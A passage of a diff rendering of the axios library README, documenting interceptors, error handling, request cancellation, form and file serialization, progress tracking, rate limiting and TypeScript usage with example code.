instance.get('/longRequest', {
|
671
|
+
timeout: 5000
|
672
|
+
});
|
673
|
+
```
|
674
|
+
|
675
|
+
## Interceptors
|
676
|
+
|
677
|
+
You can intercept requests or responses before they are handled by `then` or `catch`.
|
678
|
+
|
679
|
+
```js
|
680
|
+
// Add a request interceptor
|
681
|
+
axios.interceptors.request.use(function (config) {
|
682
|
+
// Do something before request is sent
|
683
|
+
return config;
|
684
|
+
}, function (error) {
|
685
|
+
// Do something with request error
|
686
|
+
return Promise.reject(error);
|
687
|
+
});
|
688
|
+
|
689
|
+
// Add a response interceptor
|
690
|
+
axios.interceptors.response.use(function (response) {
|
691
|
+
// Any status code that lie within the range of 2xx cause this function to trigger
|
692
|
+
// Do something with response data
|
693
|
+
return response;
|
694
|
+
}, function (error) {
|
695
|
+
// Any status codes that falls outside the range of 2xx cause this function to trigger
|
696
|
+
// Do something with response error
|
697
|
+
return Promise.reject(error);
|
698
|
+
});
|
699
|
+
```
|
700
|
+
|
701
|
+
If you need to remove an interceptor later you can.
|
702
|
+
|
703
|
+
```js
|
704
|
+
const myInterceptor = axios.interceptors.request.use(function () {/*...*/});
|
705
|
+
axios.interceptors.request.eject(myInterceptor);
|
706
|
+
```
|
707
|
+
|
708
|
+
You can also clear all interceptors for requests or responses.
|
709
|
+
```js
|
710
|
+
const instance = axios.create();
|
711
|
+
instance.interceptors.request.use(function () {/*...*/});
|
712
|
+
instance.interceptors.request.clear(); // Removes interceptors from requests
|
713
|
+
instance.interceptors.response.use(function () {/*...*/});
|
714
|
+
instance.interceptors.response.clear(); // Removes interceptors from responses
|
715
|
+
```
|
716
|
+
|
717
|
+
You can add interceptors to a custom instance of axios.
|
718
|
+
|
719
|
+
```js
|
720
|
+
const instance = axios.create();
|
721
|
+
instance.interceptors.request.use(function () {/*...*/});
|
722
|
+
```
|
723
|
+
|
724
|
+
When you add request interceptors, they are presumed to be asynchronous by default. This can cause a delay
|
725
|
+
in the execution of your axios request when the main thread is blocked (a promise is created under the hood for
|
726
|
+
the interceptor and your request gets put on the bottom of the call stack). If your request interceptors are synchronous you can add a flag
|
727
|
+
to the options object that will tell axios to run the code synchronously and avoid any delays in request execution.
|
728
|
+
|
729
|
+
```js
|
730
|
+
axios.interceptors.request.use(function (config) {
|
731
|
+
config.headers.test = 'I am only a header!';
|
732
|
+
return config;
|
733
|
+
}, null, { synchronous: true });
|
734
|
+
```
|
735
|
+
|
736
|
+
If you want to execute a particular interceptor based on a runtime check,
|
737
|
+
you can add a `runWhen` function to the options object. The interceptor will not be executed **if and only if** the return
|
738
|
+
of `runWhen` is `false`. The function will be called with the config
|
739
|
+
object (don't forget that you can bind your own arguments to it as well.) This can be handy when you have an
|
740
|
+
asynchronous request interceptor that only needs to run at certain times.
|
741
|
+
|
742
|
+
```js
|
743
|
+
function onGetCall(config) {
|
744
|
+
return config.method === 'get';
|
745
|
+
}
|
746
|
+
axios.interceptors.request.use(function (config) {
|
747
|
+
config.headers.test = 'special get headers';
|
748
|
+
return config;
|
749
|
+
}, null, { runWhen: onGetCall });
|
750
|
+
```
|
751
|
+
|
752
|
+
### Multiple Interceptors
|
753
|
+
|
754
|
+
Given you add multiple response interceptors
|
755
|
+
and when the response was fulfilled
|
756
|
+
- then each interceptor is executed
|
757
|
+
- then they are executed in the order they were added
|
758
|
+
- then only the last interceptor's result is returned
|
759
|
+
- then every interceptor receives the result of its predecessor
|
760
|
+
- and when the fulfillment-interceptor throws
|
761
|
+
- then the following fulfillment-interceptor is not called
|
762
|
+
- then the following rejection-interceptor is called
|
763
|
+
- once caught, another following fulfill-interceptor is called again (just like in a promise chain).
|
764
|
+
|
765
|
+
Read [the interceptor tests](./test/specs/interceptors.spec.js) for seeing all this in code.
|
766
|
+
|
767
|
+
## Handling Errors
|
768
|
+
|
769
|
+
the default behavior is to reject every response that returns with a status code that falls out of the range of 2xx and treat it as an error.
|
770
|
+
|
771
|
+
```js
|
772
|
+
axios.get('/user/12345')
|
773
|
+
.catch(function (error) {
|
774
|
+
if (error.response) {
|
775
|
+
// The request was made and the server responded with a status code
|
776
|
+
// that falls out of the range of 2xx
|
777
|
+
console.log(error.response.data);
|
778
|
+
console.log(error.response.status);
|
779
|
+
console.log(error.response.headers);
|
780
|
+
} else if (error.request) {
|
781
|
+
// The request was made but no response was received
|
782
|
+
// `error.request` is an instance of XMLHttpRequest in the browser and an instance of
|
783
|
+
// http.ClientRequest in node.js
|
784
|
+
console.log(error.request);
|
785
|
+
} else {
|
786
|
+
// Something happened in setting up the request that triggered an Error
|
787
|
+
console.log('Error', error.message);
|
788
|
+
}
|
789
|
+
console.log(error.config);
|
790
|
+
});
|
791
|
+
```
|
792
|
+
|
793
|
+
Using the `validateStatus` config option, you can override the default condition (status >= 200 && status < 300) and define HTTP code(s) that should throw an error.
|
794
|
+
|
795
|
+
```js
|
796
|
+
axios.get('/user/12345', {
|
797
|
+
validateStatus: function (status) {
|
798
|
+
return status < 500; // Resolve only if the status code is less than 500
|
799
|
+
}
|
800
|
+
})
|
801
|
+
```
|
802
|
+
|
803
|
+
Using `toJSON` you get an object with more information about the HTTP error.
|
804
|
+
|
805
|
+
```js
|
806
|
+
axios.get('/user/12345')
|
807
|
+
.catch(function (error) {
|
808
|
+
console.log(error.toJSON());
|
809
|
+
});
|
810
|
+
```
|
811
|
+
|
812
|
+
## Cancellation
|
813
|
+
|
814
|
+
### AbortController
|
815
|
+
|
816
|
+
Starting from `v0.22.0` Axios supports AbortController to cancel requests in fetch API way:
|
817
|
+
|
818
|
+
```js
|
819
|
+
const controller = new AbortController();
|
820
|
+
|
821
|
+
axios.get('/foo/bar', {
|
822
|
+
signal: controller.signal
|
823
|
+
}).then(function(response) {
|
824
|
+
//...
|
825
|
+
});
|
826
|
+
// cancel the request
|
827
|
+
controller.abort()
|
828
|
+
```
|
829
|
+
|
830
|
+
### CancelToken `πdeprecated`
|
831
|
+
|
832
|
+
You can also cancel a request using a *CancelToken*.
|
833
|
+
|
834
|
+
> The axios cancel token API is based on the withdrawn [cancellable promises proposal](https://github.com/tc39/proposal-cancelable-promises).
|
835
|
+
|
836
|
+
> This API is deprecated since v0.22.0 and shouldn't be used in new projects
|
837
|
+
|
838
|
+
You can create a cancel token using the `CancelToken.source` factory as shown below:
|
839
|
+
|
840
|
+
```js
|
841
|
+
const CancelToken = axios.CancelToken;
|
842
|
+
const source = CancelToken.source();
|
843
|
+
|
844
|
+
axios.get('/user/12345', {
|
845
|
+
cancelToken: source.token
|
846
|
+
}).catch(function (thrown) {
|
847
|
+
if (axios.isCancel(thrown)) {
|
848
|
+
console.log('Request canceled', thrown.message);
|
849
|
+
} else {
|
850
|
+
// handle error
|
851
|
+
}
|
852
|
+
});
|
853
|
+
|
854
|
+
axios.post('/user/12345', {
|
855
|
+
name: 'new name'
|
856
|
+
}, {
|
857
|
+
cancelToken: source.token
|
858
|
+
})
|
859
|
+
|
860
|
+
// cancel the request (the message parameter is optional)
|
861
|
+
source.cancel('Operation canceled by the user.');
|
862
|
+
```
|
863
|
+
|
864
|
+
You can also create a cancel token by passing an executor function to the `CancelToken` constructor:
|
865
|
+
|
866
|
+
```js
|
867
|
+
const CancelToken = axios.CancelToken;
|
868
|
+
let cancel;
|
869
|
+
|
870
|
+
axios.get('/user/12345', {
|
871
|
+
cancelToken: new CancelToken(function executor(c) {
|
872
|
+
// An executor function receives a cancel function as a parameter
|
873
|
+
cancel = c;
|
874
|
+
})
|
875
|
+
});
|
876
|
+
|
877
|
+
// cancel the request
|
878
|
+
cancel();
|
879
|
+
```
|
880
|
+
|
881
|
+
> **Note:** you can cancel several requests with the same cancel token/abort controller.
|
882
|
+
> If a cancellation token is already cancelled at the moment of starting an Axios request, then the request is cancelled immediately, without any attempts to make a real request.
|
883
|
+
|
884
|
+
> During the transition period, you can use both cancellation APIs, even for the same request:
|
885
|
+
|
886
|
+
## Using `application/x-www-form-urlencoded` format
|
887
|
+
|
888
|
+
### URLSearchParams
|
889
|
+
|
890
|
+
By default, axios serializes JavaScript objects to `JSON`. To send data in the [`application/x-www-form-urlencoded` format](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/POST) instead, you can use the [`URLSearchParams`](https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams) API, which is [supported](http://www.caniuse.com/#feat=urlsearchparams) in the vast majority of browsers,and [ Node](https://nodejs.org/api/url.html#url_class_urlsearchparams) starting with v10 (released in 2018).
|
891
|
+
|
892
|
+
```js
|
893
|
+
const params = new URLSearchParams({ foo: 'bar' });
|
894
|
+
params.append('extraparam', 'value');
|
895
|
+
axios.post('/foo', params);
|
896
|
+
```
|
897
|
+
|
898
|
+
### Query string (Older browsers)
|
899
|
+
|
900
|
+
For compatibility with very old browsers, there is a [polyfill](https://github.com/WebReflection/url-search-params) available (make sure to polyfill the global environment).
|
901
|
+
|
902
|
+
Alternatively, you can encode data using the [`qs`](https://github.com/ljharb/qs) library:
|
903
|
+
|
904
|
+
```js
|
905
|
+
const qs = require('qs');
|
906
|
+
axios.post('/foo', qs.stringify({ 'bar': 123 }));
|
907
|
+
```
|
908
|
+
|
909
|
+
Or in another way (ES6),
|
910
|
+
|
911
|
+
```js
|
912
|
+
import qs from 'qs';
|
913
|
+
const data = { 'bar': 123 };
|
914
|
+
const options = {
|
915
|
+
method: 'POST',
|
916
|
+
headers: { 'content-type': 'application/x-www-form-urlencoded' },
|
917
|
+
data: qs.stringify(data),
|
918
|
+
url,
|
919
|
+
};
|
920
|
+
axios(options);
|
921
|
+
```
|
922
|
+
|
923
|
+
### Older Node.js versions
|
924
|
+
|
925
|
+
For older Node.js engines, you can use the [`querystring`](https://nodejs.org/api/querystring.html) module as follows:
|
926
|
+
|
927
|
+
```js
|
928
|
+
const querystring = require('querystring');
|
929
|
+
axios.post('https://something.com/', querystring.stringify({ foo: 'bar' }));
|
930
|
+
```
|
931
|
+
|
932
|
+
You can also use the [`qs`](https://github.com/ljharb/qs) library.
|
933
|
+
|
934
|
+
> **Note**
|
935
|
+
> The `qs` library is preferable if you need to stringify nested objects, as the `querystring` method has [known issues](https://github.com/nodejs/node-v0.x-archive/issues/1665) with that use case.
|
936
|
+
|
937
|
+
### π Automatic serialization to URLSearchParams
|
938
|
+
|
939
|
+
Axios will automatically serialize the data object to urlencoded format if the content-type header is set to "application/x-www-form-urlencoded".
|
940
|
+
|
941
|
+
```js
|
942
|
+
const data = {
|
943
|
+
x: 1,
|
944
|
+
arr: [1, 2, 3],
|
945
|
+
arr2: [1, [2], 3],
|
946
|
+
users: [{name: 'Peter', surname: 'Griffin'}, {name: 'Thomas', surname: 'Anderson'}],
|
947
|
+
};
|
948
|
+
|
949
|
+
await axios.postForm('https://postman-echo.com/post', data,
|
950
|
+
{headers: {'content-type': 'application/x-www-form-urlencoded'}}
|
951
|
+
);
|
952
|
+
```
|
953
|
+
|
954
|
+
The server will handle it as:
|
955
|
+
|
956
|
+
```js
|
957
|
+
{
|
958
|
+
x: '1',
|
959
|
+
'arr[]': [ '1', '2', '3' ],
|
960
|
+
'arr2[0]': '1',
|
961
|
+
'arr2[1][0]': '2',
|
962
|
+
'arr2[2]': '3',
|
963
|
+
'arr3[]': [ '1', '2', '3' ],
|
964
|
+
'users[0][name]': 'Peter',
|
965
|
+
'users[0][surname]': 'griffin',
|
966
|
+
'users[1][name]': 'Thomas',
|
967
|
+
'users[1][surname]': 'Anderson'
|
968
|
+
}
|
969
|
+
````
|
970
|
+
|
971
|
+
If your backend body-parser (like `body-parser` of `express.js`) supports nested objects decoding, you will get the same object on the server-side automatically
|
972
|
+
|
973
|
+
```js
|
974
|
+
var app = express();
|
975
|
+
|
976
|
+
app.use(bodyParser.urlencoded({ extended: true })); // support encoded bodies
|
977
|
+
|
978
|
+
app.post('/', function (req, res, next) {
|
979
|
+
// echo body as JSON
|
980
|
+
res.send(JSON.stringify(req.body));
|
981
|
+
});
|
982
|
+
|
983
|
+
server = app.listen(3000);
|
984
|
+
```
|
985
|
+
|
986
|
+
## Using `multipart/form-data` format
|
987
|
+
|
988
|
+
### FormData
|
989
|
+
|
990
|
+
To send the data as a `multipart/formdata` you need to pass a formData instance as a payload.
|
991
|
+
Setting the `Content-Type` header is not required as Axios guesses it based on the payload type.
|
992
|
+
|
993
|
+
```js
|
994
|
+
const formData = new FormData();
|
995
|
+
formData.append('foo', 'bar');
|
996
|
+
|
997
|
+
axios.post('https://httpbin.org/post', formData);
|
998
|
+
```
|
999
|
+
|
1000
|
+
In node.js, you can use the [`form-data`](https://github.com/form-data/form-data) library as follows:
|
1001
|
+
|
1002
|
+
```js
|
1003
|
+
const FormData = require('form-data');
|
1004
|
+
|
1005
|
+
const form = new FormData();
|
1006
|
+
form.append('my_field', 'my value');
|
1007
|
+
form.append('my_buffer', new Buffer(10));
|
1008
|
+
form.append('my_file', fs.createReadStream('/foo/bar.jpg'));
|
1009
|
+
|
1010
|
+
axios.post('https://example.com', form)
|
1011
|
+
```
|
1012
|
+
|
1013
|
+
### π Automatic serialization to FormData
|
1014
|
+
|
1015
|
+
Starting from `v0.27.0`, Axios supports automatic object serialization to a FormData object if the request `Content-Type`
|
1016
|
+
header is set to `multipart/form-data`.
|
1017
|
+
|
1018
|
+
The following request will submit the data in a FormData format (Browser & Node.js):
|
1019
|
+
|
1020
|
+
```js
|
1021
|
+
import axios from 'axios';
|
1022
|
+
|
1023
|
+
axios.post('https://httpbin.org/post', {x: 1}, {
|
1024
|
+
headers: {
|
1025
|
+
'Content-Type': 'multipart/form-data'
|
1026
|
+
}
|
1027
|
+
}).then(({data}) => console.log(data));
|
1028
|
+
```
|
1029
|
+
|
1030
|
+
In the `node.js` build, the ([`form-data`](https://github.com/form-data/form-data)) polyfill is used by default.
|
1031
|
+
|
1032
|
+
You can overload the FormData class by setting the `env.FormData` config variable,
|
1033
|
+
but you probably won't need it in most cases:
|
1034
|
+
|
1035
|
+
```js
|
1036
|
+
const axios = require('axios');
|
1037
|
+
var FormData = require('form-data');
|
1038
|
+
|
1039
|
+
axios.post('https://httpbin.org/post', {x: 1, buf: new Buffer(10)}, {
|
1040
|
+
headers: {
|
1041
|
+
'Content-Type': 'multipart/form-data'
|
1042
|
+
}
|
1043
|
+
}).then(({data}) => console.log(data));
|
1044
|
+
```
|
1045
|
+
|
1046
|
+
Axios FormData serializer supports some special endings to perform the following operations:
|
1047
|
+
|
1048
|
+
- `{}` - serialize the value with JSON.stringify
|
1049
|
+
- `[]` - unwrap the array-like object as separate fields with the same key
|
1050
|
+
|
1051
|
+
> **Note**
|
1052
|
+
> unwrap/expand operation will be used by default on arrays and FileList objects
|
1053
|
+
|
1054
|
+
FormData serializer supports additional options via `config.formSerializer: object` property to handle rare cases:
|
1055
|
+
|
1056
|
+
- `visitor: Function` - user-defined visitor function that will be called recursively to serialize the data object
|
1057
|
+
to a `FormData` object by following custom rules.
|
1058
|
+
|
1059
|
+
- `dots: boolean = false` - use dot notation instead of brackets to serialize arrays and objects;
|
1060
|
+
|
1061
|
+
- `metaTokens: boolean = true` - add the special ending (e.g `user{}: '{"name": "John"}'`) in the FormData key.
|
1062
|
+
The back-end body-parser could potentially use this meta-information to automatically parse the value as JSON.
|
1063
|
+
|
1064
|
+
- `indexes: null|false|true = false` - controls how indexes will be added to unwrapped keys of `flat` array-like objects
|
1065
|
+
|
1066
|
+
- `null` - don't add brackets (`arr: 1`, `arr: 2`, `arr: 3`)
|
1067
|
+
- `false`(default) - add empty brackets (`arr[]: 1`, `arr[]: 2`, `arr[]: 3`)
|
1068
|
+
- `true` - add brackets with indexes (`arr[0]: 1`, `arr[1]: 2`, `arr[2]: 3`)
|
1069
|
+
|
1070
|
+
Let's say we have an object like this one:
|
1071
|
+
|
1072
|
+
```js
|
1073
|
+
const obj = {
|
1074
|
+
x: 1,
|
1075
|
+
arr: [1, 2, 3],
|
1076
|
+
arr2: [1, [2], 3],
|
1077
|
+
users: [{name: 'Peter', surname: 'Griffin'}, {name: 'Thomas', surname: 'Anderson'}],
|
1078
|
+
'obj2{}': [{x:1}]
|
1079
|
+
};
|
1080
|
+
```
|
1081
|
+
|
1082
|
+
The following steps will be executed by the Axios serializer internally:
|
1083
|
+
|
1084
|
+
```js
|
1085
|
+
const formData = new FormData();
|
1086
|
+
formData.append('x', '1');
|
1087
|
+
formData.append('arr[]', '1');
|
1088
|
+
formData.append('arr[]', '2');
|
1089
|
+
formData.append('arr[]', '3');
|
1090
|
+
formData.append('arr2[0]', '1');
|
1091
|
+
formData.append('arr2[1][0]', '2');
|
1092
|
+
formData.append('arr2[2]', '3');
|
1093
|
+
formData.append('users[0][name]', 'Peter');
|
1094
|
+
formData.append('users[0][surname]', 'Griffin');
|
1095
|
+
formData.append('users[1][name]', 'Thomas');
|
1096
|
+
formData.append('users[1][surname]', 'Anderson');
|
1097
|
+
formData.append('obj2{}', '[{"x":1}]');
|
1098
|
+
```
|
1099
|
+
|
1100
|
+
Axios supports the following shortcut methods: `postForm`, `putForm`, `patchForm`
|
1101
|
+
which are just the corresponding http methods with the `Content-Type` header preset to `multipart/form-data`.
|
1102
|
+
|
1103
|
+
## Files Posting
|
1104
|
+
|
1105
|
+
You can easily submit a single file:
|
1106
|
+
|
1107
|
+
```js
|
1108
|
+
await axios.postForm('https://httpbin.org/post', {
|
1109
|
+
'myVar' : 'foo',
|
1110
|
+
'file': document.querySelector('#fileInput').files[0]
|
1111
|
+
});
|
1112
|
+
```
|
1113
|
+
|
1114
|
+
or multiple files as `multipart/form-data`:
|
1115
|
+
|
1116
|
+
```js
|
1117
|
+
await axios.postForm('https://httpbin.org/post', {
|
1118
|
+
'files[]': document.querySelector('#fileInput').files
|
1119
|
+
});
|
1120
|
+
```
|
1121
|
+
|
1122
|
+
`FileList` object can be passed directly:
|
1123
|
+
|
1124
|
+
```js
|
1125
|
+
await axios.postForm('https://httpbin.org/post', document.querySelector('#fileInput').files)
|
1126
|
+
```
|
1127
|
+
|
1128
|
+
All files will be sent with the same field names: `files[]`.
|
1129
|
+
|
1130
|
+
## π HTML Form Posting (browser)
|
1131
|
+
|
1132
|
+
Pass HTML Form element as a payload to submit it as `multipart/form-data` content.
|
1133
|
+
|
1134
|
+
```js
|
1135
|
+
await axios.postForm('https://httpbin.org/post', document.querySelector('#htmlForm'));
|
1136
|
+
```
|
1137
|
+
|
1138
|
+
`FormData` and `HTMLForm` objects can also be posted as `JSON` by explicitly setting the `Content-Type` header to `application/json`:
|
1139
|
+
|
1140
|
+
```js
|
1141
|
+
await axios.post('https://httpbin.org/post', document.querySelector('#htmlForm'), {
|
1142
|
+
headers: {
|
1143
|
+
'Content-Type': 'application/json'
|
1144
|
+
}
|
1145
|
+
})
|
1146
|
+
```
|
1147
|
+
|
1148
|
+
For example, the Form
|
1149
|
+
|
1150
|
+
```html
|
1151
|
+
<form id="form">
|
1152
|
+
<input type="text" name="foo" value="1">
|
1153
|
+
<input type="text" name="deep.prop" value="2">
|
1154
|
+
<input type="text" name="deep prop spaced" value="3">
|
1155
|
+
<input type="text" name="baz" value="4">
|
1156
|
+
<input type="text" name="baz" value="5">
|
1157
|
+
|
1158
|
+
<select name="user.age">
|
1159
|
+
<option value="value1">Value 1</option>
|
1160
|
+
<option value="value2" selected>Value 2</option>
|
1161
|
+
<option value="value3">Value 3</option>
|
1162
|
+
</select>
|
1163
|
+
|
1164
|
+
<input type="submit" value="Save">
|
1165
|
+
</form>
|
1166
|
+
```
|
1167
|
+
|
1168
|
+
will be submitted as the following JSON object:
|
1169
|
+
|
1170
|
+
```js
|
1171
|
+
{
|
1172
|
+
"foo": "1",
|
1173
|
+
"deep": {
|
1174
|
+
"prop": {
|
1175
|
+
"spaced": "3"
|
1176
|
+
}
|
1177
|
+
},
|
1178
|
+
"baz": [
|
1179
|
+
"4",
|
1180
|
+
"5"
|
1181
|
+
],
|
1182
|
+
"user": {
|
1183
|
+
"age": "value2"
|
1184
|
+
}
|
1185
|
+
}
|
1186
|
+
````
|
1187
|
+
|
1188
|
+
Sending `Blobs`/`Files` as JSON (`base64`) is not currently supported.
|
1189
|
+
|
1190
|
+
## π Progress capturing
|
1191
|
+
|
1192
|
+
Axios supports both browser and node environments to capture request upload/download progress.
|
1193
|
+
|
1194
|
+
```js
|
1195
|
+
await axios.post(url, data, {
|
1196
|
+
onUploadProgress: function (axiosProgressEvent) {
|
1197
|
+
/*{
|
1198
|
+
loaded: number;
|
1199
|
+
total?: number;
|
1200
|
+
progress?: number; // in range [0..1]
|
1201
|
+
bytes: number; // how many bytes have been transferred since the last trigger (delta)
|
1202
|
+
estimated?: number; // estimated time in seconds
|
1203
|
+
rate?: number; // upload speed in bytes
|
1204
|
+
upload: true; // upload sign
|
1205
|
+
}*/
|
1206
|
+
},
|
1207
|
+
|
1208
|
+
onDownloadProgress: function (axiosProgressEvent) {
|
1209
|
+
/*{
|
1210
|
+
loaded: number;
|
1211
|
+
total?: number;
|
1212
|
+
progress?: number;
|
1213
|
+
bytes: number;
|
1214
|
+
estimated?: number;
|
1215
|
+
rate?: number; // download speed in bytes
|
1216
|
+
download: true; // download sign
|
1217
|
+
}*/
|
1218
|
+
}
|
1219
|
+
});
|
1220
|
+
```
|
1221
|
+
|
1222
|
+
You can also track stream upload/download progress in node.js:
|
1223
|
+
|
1224
|
+
```js
|
1225
|
+
const {data} = await axios.post(SERVER_URL, readableStream, {
|
1226
|
+
onUploadProgress: ({progress}) => {
|
1227
|
+
console.log((progress * 100).toFixed(2));
|
1228
|
+
},
|
1229
|
+
|
1230
|
+
headers: {
|
1231
|
+
'Content-Length': contentLength
|
1232
|
+
},
|
1233
|
+
|
1234
|
+
maxRedirects: 0 // avoid buffering the entire stream
|
1235
|
+
});
|
1236
|
+
````
|
1237
|
+
|
1238
|
+
> **Note:**
|
1239
|
+
> Capturing FormData upload progress is currently not currently supported in node.js environments.
|
1240
|
+
|
1241
|
+
> **β οΈ Warning**
|
1242
|
+
> It is recommended to disable redirects by setting maxRedirects: 0 to upload the stream in the **node.js** environment,
|
1243
|
+
> as follow-redirects package will buffer the entire stream in RAM without following the "backpressure" algorithm.
|
1244
|
+
|
1245
|
+
|
1246
|
+
## π Rate limiting
|
1247
|
+
|
1248
|
+
Download and upload rate limits can only be set for the http adapter (node.js):
|
1249
|
+
|
1250
|
+
```js
|
1251
|
+
const {data} = await axios.post(LOCAL_SERVER_URL, myBuffer, {
|
1252
|
+
onUploadProgress: ({progress, rate}) => {
|
1253
|
+
console.log(`Upload [${(progress*100).toFixed(2)}%]: ${(rate / 1024).toFixed(2)}KB/s`)
|
1254
|
+
},
|
1255
|
+
|
1256
|
+
maxRate: [100 * 1024], // 100KB/s limit
|
1257
|
+
});
|
1258
|
+
```
|
1259
|
+
|
1260
|
+
## Semver
|
1261
|
+
|
1262
|
+
Until axios reaches a `1.0` release, breaking changes will be released with a new minor version. For example `0.5.1`, and `0.5.4` will have the same API, but `0.6.0` will have breaking changes.
|
1263
|
+
|
1264
|
+
## Promises
|
1265
|
+
|
1266
|
+
axios depends on a native ES6 Promise implementation to be [supported](https://caniuse.com/promises).
|
1267
|
+
If your environment doesn't support ES6 Promises, you can [polyfill](https://github.com/jakearchibald/es6-promise).
|
1268
|
+
|
1269
|
+
## TypeScript
|
1270
|
+
|
1271
|
+
axios includes [TypeScript](https://typescriptlang.org) definitions and a type guard for axios errors.
|
1272
|
+
|
1273
|
+
```typescript
|
1274
|
+
let user: User = null;
|
1275
|
+
try {
|
1276
|
+
const { data } = await axios.get('/user?ID=12345');
|
1277
|
+
user = data.userDetails;
|
1278
|
+
} catch (error) {
|
1279
|
+
if (axios.isAxiosError(error)) {
|
1280
|
+
handleAxiosError(error);
|
1281
|
+
} else {
|
1282
|
+
handleUnexpectedError(error);
|
1283
|
+
}
|
1284
|
+
}
|
1285
|
+
```
|
1286
|
+
|
1287
|
+
Because axios dual publishes with an ESM default export and a CJS `module.exports`, there are some caveats.
|
1288
|
+
The recommended setting is to use `"moduleResolution": "node16"` (this is implied by `"module": "node16"`). Note that this requires TypeScript 4.7 or greater.
|
1289
|
+
If use ESM, your settings should be fine.
|
1290
|
+
If you compile TypeScript to CJS and you canβt use `"moduleResolution": "node 16"`, you have to enable `esModuleInterop`.
|
1291
|
+
If you use TypeScript to type check CJS JavaScript code, your only option is to use `"moduleResolution": "node16"`.
|
1292
|
+
|
1293
|
+
## Online one-click setup
|
1294
|
+
|
1295
|
+
You can use Gitpod, an online IDE(which is free for Open Source) for contributing or running the examples online.
|
1296
|
+
|
1297
|
+
[![Open in Gitpod](https://gitpod.io/button/open-in-gitpod.svg)](https://gitpod.io/#https://github.com/axios/axios/blob/main/examples/server.js)
|
1298
|
+
|
1299
|
+
|
1300
|
+
## Resources
|
1301
|
+
|
1302
|
+
* [Changelog](https://github.com/axios/axios/blob/v1.x/CHANGELOG.md)
|
1303
|
+
* [Ecosystem](https://github.com/axios/axios/blob/v1.x/ECOSYSTEM.md)
|
1304
|
+
* [Contributing Guide](https://github.com/axios/axios/blob/v1.x/CONTRIBUTING.md)
|
1305
|
+
* [Code of Conduct](https://github.com/axios/axios/blob/v1.x/CODE_OF_CONDUCT.md)
|
1306
|
+
|
1307
|
+
## Credits
|
1308
|
+
|
1309
|
+
axios is heavily inspired by the [$http service](https://docs.angularjs.org/api/ng/service/$http) provided in [AngularJS](https://angularjs.org/). Ultimately axios is an effort to provide a standalone `$http`-like service for use outside of AngularJS.
|
1310
|
+
|
1311
|
+
## License
|
1312
|
+
|
1313
|
+
[MIT](LICENSE)
|